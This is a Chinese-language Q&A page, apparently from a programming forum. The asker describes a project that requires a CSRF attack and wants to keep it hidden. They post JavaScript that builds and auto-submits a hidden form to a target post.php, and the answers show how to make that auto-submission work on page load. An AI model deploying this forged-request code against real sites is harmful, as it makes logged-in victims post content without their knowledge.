无法在使用 Java 脚本创建的表单中设置提交类型输入

Can't set the submit type input in a form created with Java Script

本文关键字:表单 设置 提交 输入 类型 创建 脚本 Java      更新时间:2023-09-26

我正在做一个项目,我必须在网页上携带CSRF。因此,当用户登录并点击我的网页时,我必须使用他的用户名(源自cookie)发布。

我尝试使用以下代码创建自己的表单,以便当用户点击我的网页时,这个表单会发布到 post.php(目标网页)

<html>
<script language="javascript">
  function blah() {
    alert();
  var theForm, newInput1, newInput2, newInput3;
  var bla = "Aaada";
  var bla2 ="POST";
  // Start by creating a <form>
  theForm = document.createElement("form");
  theForm.action = "http://targeturl/post.php";
  theForm.method = "post";
  newInput1 = document.createElement("input");
  newInput1.type = "text";
  newInput1.name = "username";
  newInput1.value = bla;
  newInput2 = document.createElement("textarea");
  newInput2.name = "message";
  newInput2.value = bla;
    newInput2.id = "message";
  newInput3 = document.createElement("input");
  newInput3.type = "submit";
  newInput3.name = "post_submit";
  newInput3.value = bla2;
  newInput3.id = "post_submit";
  theForm.appendChild(newInput3);
  theForm.appendChild(newInput2);
  theForm.appendChild(newInput1); 
  theForm.submit();
  }
  blah();
</script>
</html>

标题、消息和提交按钮是目标表单中的三个输入。当我尝试运行此表单时,没有单独设置提交按钮。我不明白为什么。我在 html 中尝试了一个实际表单(带有)并将其发布到目标 URL,它可以工作.

但是由于我必须隐身,我必须手动构建表单,就像我发布的代码一样。我尝试了所有可能性,但我无法确定此变量未设置的实际原因。

附注:

 if (isset($_POST['post_submit'])) {

是签入目标页面

并在 id 下方为目标表单:

<form method="post" action="post.php">
            Title: <input type="text" name="title" maxlength="50"/>
            <br />
            <br />
            Posting:
            <br />
            <br />
            <textarea name="message" cols="120" rows="10" id="message"></textarea>
            <br />
            <br />
            <input name="post_submit" type="submit" id="post_submit" value="POST" />
            </form>

(它发布给自己,我没有包含目标的剩余代码)

任何帮助将不胜感激谢谢

如果触发单击事件而不是提交事件,则也会获得提交按钮,因此请替换

theForm.submit();

newInput3.click();

java脚本中添加document.body.appendChild(theForm); 在提交之前,请将函数调用括为:

window.onload = function() {
    blah();
}

否则你会在JS中得到document.body is null错误